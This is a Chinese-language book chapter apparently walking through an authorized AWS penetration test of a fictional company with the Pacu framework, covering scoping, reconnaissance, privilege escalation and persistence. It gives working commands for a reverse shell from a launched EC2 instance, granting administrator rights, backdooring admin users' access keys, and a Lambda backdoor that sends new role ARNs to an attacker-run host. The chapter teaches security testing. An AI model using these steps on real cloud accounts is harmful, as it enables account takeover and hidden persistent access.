在本章中，我们将从头到尾介绍真实世界的 AWS pentest。这将有助于将本书中的许多章节联系起来，并演示 AWS 环境中渗透测试的流程。我们将跳过某些攻击如何工作的许多技术细节，因为它们已经在本书的相应章节中进行了概述。

在测试 AWS 环境时，必须彻底检查并调查授予您访问权限的每一次攻击。这可以确保您在约定结束时向客户提供的结果是彻底、完整和有用的，并确保他们能够确信他们的基础架构已经过广泛的调查。

在本章中，我们将在不同点引用两个 IAM 用户。一个 IAM 用户将被称为PersonalUser。PersonalUser是我们在自己的攻击者控制的 AWS 帐户中创建的 IAM 用户，用于跨帐户枚举等活动。该用户必须具有iam:UpdateAssumeRolePolicy和s3:ListBucket权限，才能使交叉账户侦察正常工作。另一个 IAM 用户将被称为CompromisedUser，该用户就是我们在该攻击场景中妥协的用户，我们将在整个正常过程中使用该用户。我们的场景将模拟一个场景，使用 AWS 的公司Acme Co.，来到我们的 pentesting 公司，寻找 AWS pentest。

在本章中，我们将介绍以下主题：

• 五分钟开球
• 未经证实的侦察
• 经过身份验证的侦察加权限枚举
• 特权升级
• 坚持不懈
• 剥削后
• 审核合规性和最佳做法

在开始 pentest 并进行黑客攻击之前，与客户一起完成启动流程非常重要，以确保每个人都了解 pentest 的范围、授予环境的访问类型、pentest 的目标等等。这一过程是必要的，因为没有人喜欢在五旬期的业务惊喜，沟通使每个人都高兴。在本节中，我们将介绍在五旬节开始之前需要做的一些重要方面。

AWS pentest（或任何类型的 pentest）最重要的一个方面是确定参与范围。AWS 服务很难按照传统的范围界定方法（如 IP 地址的数量、用户的数量、web 应用程序的大小等）来界定范围。这需要更多的个人体验，因为，当然，几乎无论大小，我们都可以运行一些扫描仪，然后结束一天的工作，但这不是 pentesting 的全部内容，如果这是你处理事情的方式，它会对你自己的公司产生不良影响。AWS pentest 需要大量的手动工作才能真正深入挖掘并发现存在的漏洞，因此适当地确定范围非常重要，这样您就有足够的时间进行深入评估，但不要浪费太多的时间在浪费您自己的时间和客户的钱。

很难提供确定 AWS 业务范围的确切方法，但以下问题列表有助于提供客户环境的背景，以帮助确定其规模：

• 您是否在此环境中使用多个 AWS 帐户？
  • 有多少
  • 你对全部测试感兴趣，还是只测试一部分？
• 将向环境提供何种访问？
• 您正在使用什么/多少 AWS 服务？
• 您的资源跨越多少个地区？
• 使用了多少 EC2 实例/Lambda 函数？
• 您有多少 IAM 用户、角色和组？
• 您的用户如何访问您的环境？（常规 IAM 用户、SSO |假定角色等）

除了这些问题之外，还可以就他们正在使用的其他 AWS 服务提出更具体的问题。您有多少个 RDS 数据库？如果他们甚至不使用 RDS 服务，这不是一个有用的问题，但您有多少 Lightsail 实例？可能是。这通常不会出现，除非客户告诉您他们使用 Lightsail。

这些问题旨在让您了解您计划攻击的 AWS 环境有多大。然后，这可以帮助您确定完全测试所需的估计时间线。

不过，这些问题都是与上下文相关的，而且可能会因客户而异。这是因为，例如，您可能正在测试一个具有 5000 个 EC2 实例、300 个 Lambda 函数和 100 个 RDS 数据库的环境，但客户端只希望向您提供对具有 IAM 权限和某些 Lightsail 权限的单个用户的访问。EC2、Lambda 和 RDS 背后的数字在这一点上几乎是无关紧要的，因为除非您能够升级您在环境中的权限，否则您将无法根据客户的期望接触这些服务。

在开始 AWS pentest 之前，确认您不会违反 AWS 提出的关于 pentesting 的任何规则是很重要的。截至 2019 年 3 月，AWS 不再要求对多个不同服务的 Pentest 进行批准，但其 pentesting 页面上仍有一个禁止活动列表。有关测试 AWS 基础设施的有用信息，如您必须遵守的限制，可在此处找到：https://aws.amazon.com/security/penetration-testing/ 。我们不希望在不了解规则的情况下开始 pentesting，因为这样我们就有可能违反可接受的使用策略（https://aws.amazon.com/aup/ AWS 的，可能最终导致目标账户被暂停或完全终止。这些信息必须在约定之前传达给我们的客户，否则我们可能会延迟开始。

需要注意的是，AWS 声明我们的政策仅允许在其渗透测试页面上测试以下资源：EC2、RDS、Aurora、CloudFront、API 网关、Lambda、Lightsail 和 Elastic Beanstalk。本节听起来好像我们无法测试完整的 AWS 环境，但它参考了传统的渗透技术，如端口扫描、CVE/漏洞攻击、暴力攻击等。这并不是指我们在本书中所指的所有 pentesting，因为其中大多数只是使用 AWS API 在帐户中执行特定操作，这并不违反 AWS 可接受的使用策略。例如，我们可以尝试利用 AWS systems manager 中的错误配置，尝试通过使用 AWS API 远程访问 EC2 实例，但由于这些规则，我们无法端口扫描并尝试滥用 AWS ElastiCache 实例中的缓冲区溢出。

在处理完 AWS pentesting 授权表后（或在此过程中），下一步将是确定客户对 AWS pentest 的确切期望。这是一个红色团队式的活动，我们的活动将由蓝色团队积极监控和防御吗？这只是对配置的审核吗？这是一种没有主动防御的尽可能远的交战方式吗？

除此之外，客户是否向我们提供凭据？如果是的话，有多少用户的凭据以及我们得到了关于他们的哪些信息？如果不是，我们是否应该通过社会工程来获得访问权？

其他重要问题可能包括以下内容：

• 这是一个测试/开发/生产环境吗？
• 环境中有什么我们不应该接触的吗？
• 是否有其他用户正在积极使用此环境？

围绕范围界定还有许多其他问题要问，这最终取决于您作为 pentesting 公司所做的工作以及您的客户作为您的客户想要什么。在本章中，我们将假设一个场景，其中为单个 IAM 用户提供了一组密钥，而没有其他内容。这意味着我们不知道预期的访问方式，也不知道他们的基础设施从内部是如何工作的。此外，在我们的场景中，我们将表现得好像没有一个活跃的 blue 团队试图停止并关闭我们的访问，但我们将受到帐户中现有工具的监控。出于所有这些原因，这意味着我们应该将这场交战视为我们刚刚泄露了对他们提供给我们的密钥的访问权限，并模拟攻击，就好像我们是真正的攻击者一样，即使我们知道蓝队不会阻止我们。

这些类型的约定对客户非常有用，因为它为他们提供了各种信息。它为我们提供了充分的能力来显示当他们的密钥被泄露时可能发生的情况，并为他们提供（云）日志和活动线索，以查看他们检测到了什么样的攻击，丢失了什么，它甚至允许他们分析这些数据，就好像这是一个事件响应/取证类型的情况。如果 blue 团队在交战期间主动关闭我们，我们可能无法发现 AWS 环境中的所有实际漏洞，因为我们的访问被阻止。在没有 blue 团队干预的情况下，我们可以尽可能深入地进行，而且它还允许我们对客户中的服务和资源执行配置和最佳实践审核。在一个真正的红队类型的场景中，检查某些配置问题和最佳实践是没有意义的，因为这不会直接有利于我们的攻击，只会创建更多我们活动的轨迹。

除了攻击说明之外，还提供审计和配置检查对于客户在帐户内的法规遵从性和安全性非常有帮助，因此最好能够提供这些信息。另一方面，客户的需求是最重要的，因此有必要在他们认为合适的时候修改此攻击叙述。

一旦确定了客户期望值，AWS pentest 授权表已获得批准，并且您已收到凭据，您几乎可以开始了。

在开始任何实际工作之前，我们需要确保设置正确。此设置可能看起来有所不同，但对于这种情况，我们需要确保 AWS CLI 和 Pacu 都安装在我们的系统上。关于如何做到这一点的说明已在前几章中介绍过，但作为提醒，您可以通过 Pythonpip从其 GitHub 页面和 AWS CLI 获取 Pacu：

• https://github.com/RhinoSecurityLabs/pacu
• https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html

一旦安装了这些工具，我们将希望将可用的 AWS 密钥集成到这些工具中。最简单的方法是使用 AWS CLI 创建凭据配置文件，然后将该配置文件导入 Pacu。对于前面提到的PersonalUser和CompromisedUser键集，我们将使用--profile参数运行aws configure命令，指定其中的每个名称，如下所示：

aws configure --profile PersonalUser
aws configure --profile CompromisedUser

然后，我们将输入我们的密钥。之后，我们可以使用 Python3 启动 Pacu 并创建一个新会话。我们将会话命名为Acme，因为此约定是针对 Acme Co 的。然后，我们可以使用 Pacu 命令import_keys将两个密钥对从 AWS CLI 导入 Pacu：

import_keys PersonalUser
import_keys CompromisedUser

我们将自己的个人用户添加到 AWS CLI 和 Pacu 中的原因是，当我们对目标执行未经验证的侦察时，这些模块往往需要目标帐户之外的密钥。

如果客户告诉我们他们只使用一组特定的区域，那么我们也可以使用set_regions命令在 Pacu 中进行设置，但是对于我们的场景，我们会说我们还没有这些信息。

此时，我们已准备好进行未经验证（交叉账户）侦察。

AWS 中大多数未经认证的侦察并非技术上未经认证，因为存在所需的凭证。不同之处在于，对于未经验证的侦察，我们使用我们自己的攻击者 AWS 密钥，因此我们对目标环境未经验证，任何枚举/尝试日志将仅显示在我们自己的帐户中。这几乎和枚举 AWS 资源时一样未经身份验证，除了类似于打开 S3 存储桶的内容外，但即使如此，由于某些存储桶中的权限设置方式，某种凭证也可以帮助完成此过程。

大多数未经验证/跨帐户攻击的一个组成部分是了解目标 AWS 帐户 ID。帐户 ID 允许我们将资源与我们自己的特定帐户关联。这意味着我们对 AWS 的第一个 API 调用实际上来自CompromisedUser，而不是我们的PersonalUser。这是因为我们还没有帐户 ID，我们需要它。幸运的是，已经进行了研究，以获取有关一组密钥的信息，而无需将任何内容记录到 CloudTrail，就像我们在第 15 章、Pentesting CloudTrail中介绍的那样。

我们将使用iam__detect_honeytokens模块收集我们需要的信息：

1. 作为CompromisedUser,命令，我们将运行 Pacu 命令run iam__detect_honeytokens。这是因为模块使用未登录到 CloudTrail 的 AWS API 调用枚举当前用户的 ARN（其中包含帐户 ID），我们将在他们不知道的情况下收集帐户 ID。以下屏幕截图显示了在测试环境中运行该模块时的输出：

iam\uuu detect\u honeytokens 模块在不登录 CloudTrail 的情况下获取我们的 ARN

我们可以看到我们的CompromisedUser有用户名CompromisedUser，并且它驻留在账户 ID216825089941中。我们现在可以运行whoami命令，查看是否已将此信息添加到 Pacu 数据库中（如果我们愿意的话）。现在我们有了帐户 ID，我们可以开始进行未经验证的侦察。此未经验证的部分将涉及枚举帐户中的 IAM 用户和角色，以及可能与公司或帐户关联的 S3 存储桶。

2. 我们将首先记录刚才枚举的帐户 ID，然后通过运行swap_keys命令将密钥交换到 Pacu 中的PersonalUser。

3. 作为PersonalUser,，我们将运行iam__enum_users模块，尝试检测目标帐户中的任何用户。我们将把刚刚获得的帐户 ID 传递到此模块，以便它知道在哪里查找用户。我们还将传递Test作为--role-name参数的值，因为我们在名为Test的个人帐户中有一个角色，它是UpdateAssumeRolePolicyAPI 调用所必需的。最后的命令是run iam__enum_users --role-name Test --account-id 216825089941。许多日志将在您自己帐户的 CloudTrail 中创建，但不会在目标帐户中创建。以下屏幕截图显示了该评论的执行情况，我们可以看到发现了三个独立的 IAM 用户：

iam__enum_users 模块的一些输出，表明我们在目标帐户中发现了三个用户

4. 接下来，我们将通过运行以下命令来对iam__enum_roles模块执行相同的操作：run iam__enum_roles --role-name Test --account-id 216825089941。以下屏幕截图显示了该模块的执行情况，我们可以看到列举了四个 IAM 角色：

iam__enum_roles模块输出的一部分，表明找到了四个角色，但无法假定凭据为任何角色

现在，让我们看看我们列举的用户名和角色名。我们发现了三个用户：

• Test
• ExampleUser
• LambdaReadOnlyTest

Test和ExampleUser对我们的侦察没有多大帮助，但LambdaReadOnlyTest表明我们的目标可能在他们的帐户中使用 Lambda 服务。

我们还发现了四个角色：

• MyOwnRole
• LambdaEC2FullAccess
• CloudFormationAdmin
• SSM

这些角色名比我们列举的用户更有用。MyOwnRole有点没用，但LambdaEC2FullAccess表示 Lambda 正在他们的环境中使用，就像我们从那个用户推断的一样，但这个角色名称还表示另外两种可能：

• 可能有 Lambda 功能被启动到 VPC 中，使其能够在内部访问该网络
• 可能存在直接与 EC2 服务交互的 lambda，这意味着我们的目标也可能在其环境中使用 EC2 服务

CloudFormationAdmin角色表明云形成可能在环境中被利用，因此我们在开始攻击时要记住这一点。它可以通过少量的 API 调用帮助我们收集有关目标环境的更多信息。

SSM角色表示此角色是为系统管理员创建的。我们可以假设，这意味着他们在其环境中使用 systems manager 来远程控制/管理 EC2 实例或本地服务器。

现在，在没有在目标帐户中创建任何日志的情况下，我们列举了存在的多个用户和角色，并收集了关于如何跨不同 AWS 服务设置其基础设施的合理数量的信息。

我们未经验证的侦察的最后一部分将是查看带有 Pacus3__bucket_finder模块的 S3 存储桶。假设，我们将假设我们的目标 Acme Co.拥有域acme.com，因此我们将把该域传递给此模块以查找现有存储桶。我们可以使用以下命令执行此操作：

run s3__bucket_finder -d acme.com

输出应该向我们显示是否有发现的 bucket，然后显示这些 bucket 中是否有可列出的 bucket。不幸的是，我们的扫描没有提供任何可操作的结果，如以下屏幕截图所示：

模块没有找到任何桶供我们查看

从前面的屏幕截图中可以看到，模块具有外部依赖关系。目前，这是唯一一个利用install_dependencies功能的模块，它利用 Git 克隆Sublist3r进行子域突变，并利用Buckets.txt进行桶式暴力攻击。因为我们只使用了-d参数，所以没有使用这些外部依赖项。

现在，我们已经在目标客户之外尽了最大努力。是时候抓取CompromisedUser凭证并开始我们两部分侦察的认证阶段了。

为了开始我们评估的认证侦察部分，我们需要使用swap_keysPacu 命令从PersonalUser切换到CompromisedUser：

1. 在 Pacu 中运行swap_keys切换到CompromisedUser。

2. 对于经过身份验证的 recon，首先要做的是找出我们自己的特权，以便我们知道我们对 AWS 帐户的访问方式。这可以通过使用iam__enum_permissionsPacu 模块来完成。当前用途不需要任何参数，因此可以运行以下命令：

run iam__enum_permissions

3. 接下来，我们可以通过whoami命令查看枚举了哪些权限：

运行 iam\uuuEnum\u 权限并检查使用 whoami 命令枚举的数据

我们可以看到，有三个 IAM 策略附加到我们的用户，其中两个是 AWS 管理的策略（AmazonEC2FullAccess、DatabaseAdministrator），其中一个是内联策略（IAM-Read-List-PassRole。我们可以确定这些是 AWS 管理的策略，因为在whoami命令结果的Policies部分包含了 ARN。IAM-Read-List-PassRole策略没有列出 ARN，这意味着它是内联策略，而不是托管策略。

如果向下滚动，我们将看到用户被允许/拒绝的权限列表以及这些权限应用于的资源/条件。

现在，我们已经列举了我们自己的权限，并将其保存到数据库中，我们可以看到，无论DatabaseAdministrator策略授予我们什么样的访问权限，我们都可以完全访问 AWS EC2（如果我们愿意，我们可以直接从我们自己的个人帐户查看此策略，或者我们可以查看 Pacu 提供的权限列表），以及IAM-Read-List-PassRole提供的任何权限策略授予我们（我们可以假设它授予我们读取和列出 IAM 服务的权限，以及将 IAM 角色传递给其他 AWS 服务/资源的权限）。所有这些都可以通过查看 Pacu 在whoami命令中提供的权限列表来确认。

枚举我们自己用户的权限非常重要，但请注意，枚举此类权限可能会触发基于帐户内 IAM 枚举的 GuardDuty 警报。然而，我们不仅仅想要我们自己的权限；我们还希望查看帐户中每个其他用户和角色的权限，以便向客户提供环境中可能存在的错误配置的完整列表。我们可以使用iam__enum_users_roles_policies_groups模块来实现这一点，但这只会列举有关这些 IAM 资源的基本信息。我们宁愿再次使用iam__enum_permissions模块来收集环境中每个用户/角色的完整权限集。

4. 我们可以使用--all-users和--all-roles参数开始枚举所有用户和角色权限，这可以在以下命令中看到：

run iam__enum_permissions --all-users --all-roles

现在，Pacu 将遍历帐户中的每个用户和角色，并将其权限转储到我们的 Pacu 文件夹中的 JSON 文件中。然后可以手动查看此信息和/或将其传递给 Pacu 权限升级模块，以检查所有这些模块中的权限升级向量：

针对所有用户和角色时iam__enum_permissions模块的输出

正如我们在前面的屏幕截图中所看到的，Pacu 没有枚举目标帐户中的用户和角色，因此它询问我们在执行之前是否要这样做。然后，我们可以看到它正在将每个用户和角色的权限保存到 Pacu 文件夹中的sessions/Acme/downloads/confirmed_permissions/。当模块完成后，我们可以检查这些文件中这些用户/角色的权限，其格式与我们自己用户的whoami命令的输出类似：

JSON 文件中存储的包含 SSM 角色权限的部分内容

理论上，枚举的下一步可以等到我们准备好攻击特定的服务，但这也可以在攻击之前一次完成。此时运行的好几个模块可能是aws__enum_account和aws__enum_spend模块，用于深入了解用户所属的组织以及用于各种 AWS 服务的资金类型。这些数据可以为您提供信息，允许您确定正在使用哪些 AWS 服务（以及使用到何种程度），而无需查询特定服务本身。例如，如果我们可以看到帐户支出总额为 1000.00 美元，而 EC2 服务的支出为 750.00 美元，那么我们可以假设他们的大部分资源都位于 EC2 中。您的假设可能并不总是 100%准确，但它通常可以提供对预期内容的高级别概述。

5. 现在，在 Pacu 中运行run aws__enum_account命令，然后运行run aws__enum_spend命令以接收类似于以下屏幕截图所示的输出：

aws__enum_account 模块的输出和 aws__enum_Expense 模块的部分输出

我们可以看到，aws__enum_account模块为我们提供了以美元（$）表示的账户总支出，总计为 0.98 美元，但我们无权收集账户组织的任何信息。我们还可以看到aws__enum_spend模块输出的开始，该模块检查每个 AWS 服务的指标，以确定在该服务上花费的资金。结果显示在以下屏幕截图中：

AWS 账户用于我们目标账户的支出

我们可以看到，大部分账户支出出现在 AWS Glue 服务和 Amazon Document DB 服务下，其中一些出现在 GuardDuty 和 AWS Amplify 中。尽管这些信息很有用，但不应将其视为 100%的事实，因为符合 AWS 免费等级的任何支出都不会记录在此处；这不是最新的帐户花费列表，也不是所有 AWS 资源都需要花钱。出于这些原因，直接查看特定服务仍然是值得的，但从这个列表开始可能会有所帮助。

6. 我们通常可以围绕从aws__enum_spend模块返回的数据发起攻击，但在本例中，我们的示例 Acme Co.在交战前的某一点讨论了 EC2。根据这些信息，以及 EC2 通常是最有成效的目标服务之一的事实，我们将运行ec2__enum模块来发现帐户中的任何 EC2 资源。我们可以使用以下命令执行此操作：

      run ec2__enum

因为我们没有在 Pacu 中设置任何会话区域，所以系统会提示并询问我们是否要针对每个 AWS 区域，我们会回答“是”。这是因为我们还不知道正在使用哪些区域，所以在我们能够找到这些信息之前，每个区域都值得检查：

ec2__ 枚举模块的摘要结果

我们可以看到，在每个区域的扫描中总共发现了七个 EC2 实例。如果我们在结果中向上滚动，我们可以确定在us-east-1中有一个 EC2 实例，在us-west-2中有六个 EC2 实例。

如果我们想假设在整个 AWS 帐户中只使用us-east-1和us-west-2，我们可以将 Pacu 会话区域设置为这两个区域，但是很难仅基于单个服务进行假设，因此我们不打算这样做。

现在我们已经列举了 EC2 资源的存在，我们将查看每个实例的EC2 userdata，因为这是可以针对 EC2 实例运行的最简单但最有效的安全检查之一。通常，我们可以找到私人信息（不应该在那里）或其他一般信息，这些信息可以帮助我们更好地了解环境中正在发生的事情。

7. 为此，请在 Pacu 中运行run ec2__download_userdata命令。下面的屏幕截图显示，我们在环境中列举的两个实例中发现了userdata：

使用 ec2 下载用户数据模块的结果

从前面的屏幕截图中我们可以看到，模块首先询问我们是否要枚举EC2 LaunchTemplates（它也可以容纳userdata），因为数据库中没有，我们用“否”回应，因为我们知道我们已经枚举了这些（用ec2__enum枚举），但没有找到。然后，我们可以看到七个 EC2 实例中有两个附加了userdata，然后存储在我们的 Pacu 文件夹中：./sessions/Acme/downloads/ec2_user_data。

8. 让我们通过查看这些文件来检查userdata，看看它们是否有什么有趣的地方。我们将使用cat命令执行此操作，该命令将向屏幕输出我们指定的文本文件的内容：

输出包含 EC2 用户数据的两个文件的内容

根据第一个实例（i-07fdb3fbb2a9a2444的输出，我们可以看到它启动时，使用apt-get安装 AWS CLI，然后使用它将文件从私有 S3 bucket 复制到根文件夹。这告诉我们，可能有一个 IAM 角色附加到该 EC2 实例上，因为在userdata中没有设置凭据，但我们可以通过 Pacu 中的data EC2命令确认这一点，在那里我们可以找到该实例的详细信息。

我们为userdata查看的第二个实例看起来很有趣。它正在使用curl程序从 Acme.com 的 API 获取授权令牌。它使用基本身份验证，因此我们可以在命令中看到管理员用户名（admin和密码（P@ssW0rd。我们现在可以在 Acme.com 网站上执行一些简单的侦察，以了解管理员帐户将为我们提供什么访问权限。一旦完成，我们就可以使用相同的凭证和 API 请求我们自己的授权令牌，然后我们就可以将访问转到主Acme.com网站。

攻击随机 web 应用程序超出了本书的范围，但如果满足一些条件，这将是在 AWS pentest 期间采取的一种非常有效的攻击路径。首先，web 应用程序应该托管在我们正在攻击的 AWS 环境中，以便在范围内考虑它；其次，我们需要确定这是否符合客户的期望。如果其中任何一项有疑问，那么与我们的客户联系并直接询问他们是值得的。如果允许此攻击，我们可能会升级此攻击以控制 web 应用程序，或者我们可能会进一步扩展 AWS 访问，具体取决于我们在其中发现的内容。

我们还可以枚举其他服务，也可以在 Pacu 中运行其他枚举模块，但现在我们将继续讨论特权升级。在我们试图通过常规方式滥用用户的权限进行权限升级后，我们将检查帐户中的其他服务，并尝试使用这些服务进行权限升级（和/或其他攻击）。

我们已经列举了我们自己用户的权限，以及我们目标帐户中每个其他用户的权限和角色。我们现在可以将iam__enum_permissions模块生成的信息传递给iam__privesc_scan模块，以检查帐户内的任何权限提升实例。我们将首先使用--offline参数，以便模块知道我们正在检查每个人的权限提升路径。如果没有这个参数，它将只检查我们自己用户的权限提升路径，然后尝试利用它们来获得对环境的升级访问。下面的屏幕截图显示了iam__privesc_scan模块的输出，其中它已识别出多个已经拥有环境管理员权限的用户，以及多个容易受到几种不同权限升级攻击的用户：

使用--offline 参数运行 iam\u priveESC\u 扫描模块

我们可以从这个输出中获得一些东西。我们可以看到，用户Spencer、DaveY、ExampleUser、Alex以及角色EC2Admin和CloudFormationAdmin都已经拥有对环境的管理员访问权限。之后，我们可以看到角色AWSBatchServiceRole、AWSServiceRoleForAutoScaling、aws-elasticbeanstalk-service-role和用户CompromisedUser可能会受到各种权限提升方法的攻击。

好消息是，我们自己的用户CompromisedUser可能会受到四种不同升级方法的攻击，这意味着我们可能能够进一步访问环境。如果我们想稍后再次查看此数据，我们可以导航到 Pacu./sessions/Acme/downloads/文件夹，查看生成的 JSON 文件，其中存储了权限提升数据，如模块输出底部所示。当我们完成 pentest 时（在验证权限提升扫描的结果之后），我们将希望确保向客户端报告此信息，即使该信息不是我们自己的用户直接受到攻击。

权限提升扫描的结果旨在通过名称进行自我解释，但如果您对每个权限提升方法的细节感兴趣，建议您查看以下链接：https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ 。该模块是围绕该博客文章的内容构建的，因此您可以将权限提升方法与博客文章中解释的手册指南相匹配。

如果我们看一下我们的CompromisedUser易受攻击的privesc方法，它告诉我们它可能易受四种不同方法的攻击。CreateEC2WithExistingIP方法意味着我们可能拥有启动新 EC2 实例并向其传递现有实例配置文件的权限，这样我们就可以访问与实例配置文件关联的 IAM 角色凭据。"PassExistingRoleToNewLambdaThenTriggerWithNewDynamo"和"PassExistingRoleToNewLambdaThenTriggerWithExistingDynamo"``privesc方法意味着我们可能有权创建一个新的 Lambda 函数，向它传递一个 IAM 角色，然后通过新的或现有的 DynamoDB 事件源映射调用该函数。

PassExistingRoleToNewDataPipeline方法告诉我们，我们可能有权启动新的数据管道，以作为传递的角色执行 AWS CLI。我们可以手动检查这些方法中的每一种，以尝试获得进一步的访问权限，但使用iam__privesc_scan模块的漏洞利用功能将更加有效，该功能将自动尝试使用可用的方法提升用户的权限。

要自动利用权限提升方法，只需运行以下命令：

run iam__privesc_scan

然后，它会自动发现我们的用户易受攻击的privesc方法，并在每个方法之间循环，直到成功获得额外的权限。由于某些权限提升方法的复杂性，可能需要用户在不同点进行输入。当我们第一次运行它时，它会再次找到那些权限提升方法，然后深入到CreateEC2WithExistingIP权限提升方法中，可以在下面的屏幕截图中看到：

PriveESC 扫描模块试图通过第一种方法获得权限

它需要一个区域，因为我们没有为 Pacu 会话设置任何会话区域，所以我们将提供15以针对us-west-2区域：

EC2 特权升级方法希望我们选择要附加到实例的实例配置文件

正如我们在前面的屏幕截图中所看到的，有六个 EC2 实例配置文件可以附加到我们的实例。我们希望选择具有最高权限的角色，因为它是我们将通过此方法获得访问权限的角色。我们可以通过查看前面的完整帐户iam__enum_permissions模块的输出来确定此信息，但如果我们回顾一分钟前的完整帐户权限提升扫描，我们将看到它告诉我们EC2Admin角色已经具有管理员权限。这使得它成为这个问题的一个明显选择：

下一个问题是在选择了一个实例概要文件之后我们被问到的

接下来，我们将提出一个问题和五个选择。问题是我们希望如何使用此 EC2 实例来升级我们的权限。选项一是在启动时向我们自己的服务器打开一个反向 shell，允许我们在实例中做我们想要做的事情。选项二是使用附加到该实例的角色凭据从目标实例中运行 AWS CLI 命令。选项三是从 EC2 实例向我们自己的服务器发出 HTTP 请求，该服务器包含 IAM 角色的当前凭据。选项四是在 AWS 中创建一个新的 SSH 密钥，为您提供私钥，然后使用该密钥启动实例以允许您使用 SSH 连接到其中。最后，选项五是跳过这个privesc方法，转到下一个方法。根据您的个人设置和环境设置，您必须选择最适合您的设置。

对于这个 pentest，我将选择选项 1，一个反向 shell，因为它不会触发 GuardDuty，它只需要默认的 EC2 安全组来允许对我们指定的端口进行出站 internet 访问（而不是像选项 4 的端口22inbound）。从该反向 shell 中，我们可以从实例中使用 AWS CLI，从 EC2 元数据 API 中获取角色凭据，或者我们想要的任何其他内容：

使用此权限提升方法的反向 shell 选项

在上一个屏幕截图中，我们可以看到我们提供了攻击者拥有的服务器的 IP 地址（经过审查）和端口。然后，模块输出它创建的 EC2 实例的详细信息。现在，我们需要做的就是等待我们的反向外壳出现：

设置我们的 netcat 侦听器，在这里我们作为根用户接收反向 shell

正如我们在上一个屏幕截图中所看到的，我们使用 netcat 在端口5050上监听，运行whoami命令以确定我们是 root 用户，然后使用 AWS CLI 运行STS GetCallerIdentity命令。该命令的输出显示，我们正在使用 AWS 作为假定角色EC2Admin进行身份验证，我们知道该角色对环境具有完全的管理员权限。

虽然我们可以在 AWS 环境中访问管理员，但这只是暂时的。我们可能会在任何时候丢失此 EC2 实例，或者在我们可以对其执行任何有用的操作之前，凭据将过期，因此我们需要快速采取措施升级原始CompromisedUser权限，并将 EC2 实例保存为备份。本质上，一旦我们升级了自己用户的权限，EC2 实例将在帐户中充当伪持久性，如果需要，可能允许我们在将来再次获得管理员级别的权限。

为了将我们自己的用户升级为管理员，我们将运行以下 AWS CLI 命令，该命令将AdministratorAccessAWS 管理的 IAM 策略附加到我们的CompromisedUser：

aws iam attach-user-policy --user-name CompromisedUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

如果该命令成功，则不会返回任何输出，因此我们可以再次返回iam__enum_permissionsPacu 模块以确认我们是管理员：

重新运行 iam__enum_ 权限，然后运行 whoami，并查看 AdministratorAccess iam 策略已附加到我们

如果我们想进一步确认，我们可以尝试运行 AWS CLI 命令或 Pacu 模块，我们知道我们以前没有访问该命令或模块的权限，但该策略附加到我们的用户这一事实表明我们实际上是管理员。

到目前为止，我们已经枚举了 IAM 和 EC2 数据，启动了后门 EC2 实例以允许权限提升，然后使用 EC2 实例使我们的CompromisedUser成为环境中的管理员。此时，我们应该在继续使用其他 AWS 服务之前建立一些持久性。

尽管我们已经有了一个 EC2 实例，可以访问该实例，并且可以访问环境中的管理员级别角色，但出于以下几个原因，我们不应该依赖它作为唯一的持久性方法。角色随时都可能发生变化，例如如果它被删除或其权限被修改，这将删除或削弱我们的持久访问。

EC2 实例可能被认为是可疑的，并在任何时候关闭，从而删除我们的持久访问。此外，可以修改 EC2 安全组规则，阻止实例的出站访问，这意味着我们将不再接收反向 shell。最后，我们可能会丢失反向 shell 连接，这意味着我们需要等到实例重新启动后才能重新发送反向 shell 连接。即使没有防御者试图阻止我们，事情也有很多可能出错，因此带有附加角色的 EC2 实例不是一种可靠的持久性方法，尽管它至少可以在短时间内工作。

为了彻底/安全起见，我们将向我们的目标客户推出几种不同的持久性方法：

1. 我们将使用的第一种持久性方法是，通过运行run iam__backdoor_users_keys命令，为iam__backdoor_users_keysPacu 模块帐户中的另一个或两个用户创建新的访问密钥对：

利用iam__backdoor_users_keys模块对 DaveY 和 Spencer 用户进行后门攻击

正如我们在前面的屏幕截图中所看到的，模块将提示我们，询问我们希望为哪些用户创建后门 AWS 密钥。

2. 我们在本例中选择了DaveY和Spencer，因为在我们之前运行权限提升扫描程序时，它们显示为管理用户，这意味着只要这些密钥还活着，我们就可以提升持久性。
3. 接下来，我们将在帐户内创建一个新的 Lambda 后门，以后门任何新创建的 IAM 角色，以便我们可以跨帐户使用他们的凭据。我们可以通过lambda__backdoor_new_rolesPacu 模块来实现这一点。我们需要一个对我们的后门具有 IAMUpdateAssumeRolePolicy和GetRole权限的角色，因此我们将把该权限添加到允许假设 Lambda 的现有角色中。我们可以通过运行以下命令在 AWS CLI 中执行此操作，该命令的目标是LambdaEC2FullAccess角色：

aws iam put-role-policy --role-name LambdaEC2FullAccess --policy-name UARP --policy-document '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": ["iam:UpdateAssumeRolePolicy", "iam:GetRole"], "Resource": "*"}]}'

4. 还有一件事要做。模块告诉我们，必须在us-east-1区域启用 CloudTrail，我们的后门功能才能触发，因此我们应该再次检查，以防万一。以下命令可以执行我们想要的操作：

aws cloudtrail describe-trails --region us-east-1

在我们的例子中，有一个驻留在us-east-1中，因此我们可以使用后门模块，这可以在下面的屏幕截图中看到：

创建后门 Lambda 函数和 CloudWatch 事件规则

如前一个屏幕截图所示，我们运行了以下 Pacu 命令：

run lambda__backdoor_new_roles --exfil-url http://x.x.x.x:5050/ --arn arn:aws:iam::000000000000:user/PersonalUser

此命令假定我们在端口5050上的 IPx.x.x.x（已审查）上托管一个 HTTP 侦听器，并且我们的PersonalUserAWS 用户驻留在 AWS 帐户 ID000000000000中。当它运行时，Pacu 将生成 Lambda 函数的代码，对其进行压缩，然后将其上载到 Lambda。之后，它将创建一个 CloudWatch 事件规则，在任何 IAMCreateRoleAPI 调用时触发该规则。现在，每次创建一个新的 IAM 角色时，我们的 CloudWatch 事件规则都会被触发，这会导致调用我们的 Lambda 函数，然后该函数将使用 IAMUpdateAssumeRolePolicyAPI 添加我们的外部用户（PersonalUser作为可以承担它的可信实体。完成后，它会将新角色的 ARN 过滤到我们在命令中提供的 URL，以便我们可以随时使用它访问帐户。

经过一段时间的等待，我们终于收到了对我们的命令和控制（C2）服务器的请求，该服务器具有 IAM 角色 ARN，这意味着已经创建了一个，并且我们使用 Lambda 功能自动对其进行后门：

我们自己的服务器在端口 5050 上侦听来自后门 Lambda 功能的 IAM 角色 ARN

正如我们在前面的屏幕截图中所看到的，向我们的服务器发出了一个HTTP``POST请求，请求主体中有一个 URL 编码的 IAM 角色 ARN（名为A-New-Role。

